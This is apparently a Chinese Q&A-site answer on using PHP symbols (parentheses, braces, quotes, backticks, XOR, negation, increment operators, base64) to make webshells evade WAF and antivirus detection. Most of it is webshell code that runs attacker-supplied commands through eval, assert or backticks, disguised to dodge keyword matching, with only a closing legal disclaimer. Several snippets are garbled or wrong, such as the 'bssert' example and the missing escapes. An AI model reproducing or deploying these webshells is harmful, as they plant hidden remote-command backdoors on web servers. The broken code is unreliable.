webshell免杀中符号的妙用

webshell免杀中符号的妙用
最新回答
我阅君心

2026-10-25 11:09:26

在WebShell免杀中,符号可通过干扰静态特征匹配、破坏语法语义分析或利用语言特性实现绕过。以下以PHP为例,介绍符号的免杀妙用及原理:

一、基础符号的免杀应用
  1. 圆括号 ()

    作用:干扰语法分析,隐藏危险函数调用。

    示例:

    $_ = $_GET['pass'];$white = "(${eval($_)})"; // 通过圆括号包裹eval,干扰WAF对函数调用的识别

    原理:WAF的语法检测可能依赖函数调用的固定模式(如eval(...)),圆括号可破坏这种模式。

  2. 花括号 {}

    作用:变量间接引用定界,避免歧义。

    示例:

    ${$my_var[8]} // 与 ${$my_var}[8] 不同,前者将$my_var[8]作为变量名$a{4} // 等同于 $a[4],将字符串变量当数组处理

    原理:通过花括号构造复杂变量名,绕过WAF对简单变量名的静态匹配。

  3. 单引号 ' 与双引号 "

    作用:单引号抑制变量解析,双引号支持变量拼接。

    示例:

    $a = "s"."e"."r";$b = "as$a".'t'; // 拼接为 "assert"

    原理:利用字符串拼接动态生成危险函数名,避免直接出现敏感关键词。

  4. 反引号 `

    作用:执行系统命令,替代shell_exec()。

    示例:

    function fun($p) { echo `$p`; }$a = $_GET['x'];fun($a); // 执行用户输入的命令

    原理:反引号在PHP中直接调用系统命令,绕过对函数名的检测。

  5. 反斜线

    作用:转义字符或调用根命名空间。

    示例:

    $a = $_GET['a'];$b = "n";assert($b.=$a); // 通过命名空间干扰函数特征

    原理:assert可能被WAF忽略,因命名空间调用改变了函数名的静态特征。

二、进阶符号的免杀技巧
  1. 异或运算符 ^

    作用:通过字符异或生成敏感函数名。

    示例:

    $a = 'a'^'~'; // 异或后得到字符 's'$b = 's'^"x0f"; // 生成 'e'$func = $a.$b.'rt'; // 拼接为 "assert"$func($_GET['cmd']);

    原理:WAF可能无法解析异或运算后的动态函数名。

  2. 取反运算符 ~

    作用:对字符ASCII码取反,生成目标字符。

    示例:

    $a = ~'?'; // ?的ASCII码为127,取反后为0,结合其他字符生成敏感词

    原理:通过数学运算隐藏真实字符,绕过关键词匹配。

  3. 递增/递减运算符 ++/--

    作用:动态修改变量值,构造敏感函数名。

    示例:

    $a = 'a';$a++; // 变为 'b'$func = $a.'ssert'; // 拼接为 "bssert"(需结合其他操作修正)

    原理:通过运算符动态生成函数名的一部分,增加检测难度。

三、符号组合的免杀策略
  1. 混合符号干扰

    示例:

    $a = 'a'^"x0f";$b = ~$a;$c = ${$b.'ssert'}; // 动态调用assert$c($_POST['cmd']);

    原理:结合异或、取反和变量间接引用,构建多层逻辑,使WAF难以解析。

  2. 符号与编码结合

    示例:

    $a = base64_decode('YXNzZXJ0'); // 解码为 "assert"$a($_GET['cmd']);

    原理:符号(如花括号)可与编码(Base64、Hex)混合使用,进一步隐藏特征。

四、免杀的核心思路
  1. 破坏静态特征:通过符号变形、拼接或编码,避免直接出现危险函数名。
  2. 干扰语法分析:利用符号改变代码结构,使WAF无法正确解析语法语义。
  3. 动态生成代码:通过运算符或变量间接引用,在运行时构造攻击载荷。

总结:符号在WebShell免杀中扮演关键角色,其核心价值在于通过语言特性隐藏攻击意图。掌握符号的运算规则、变量处理机制及命名空间等特性,可设计出多样化的绕过方案。但需注意,免杀技术可能违反法律法规,仅供安全研究参考。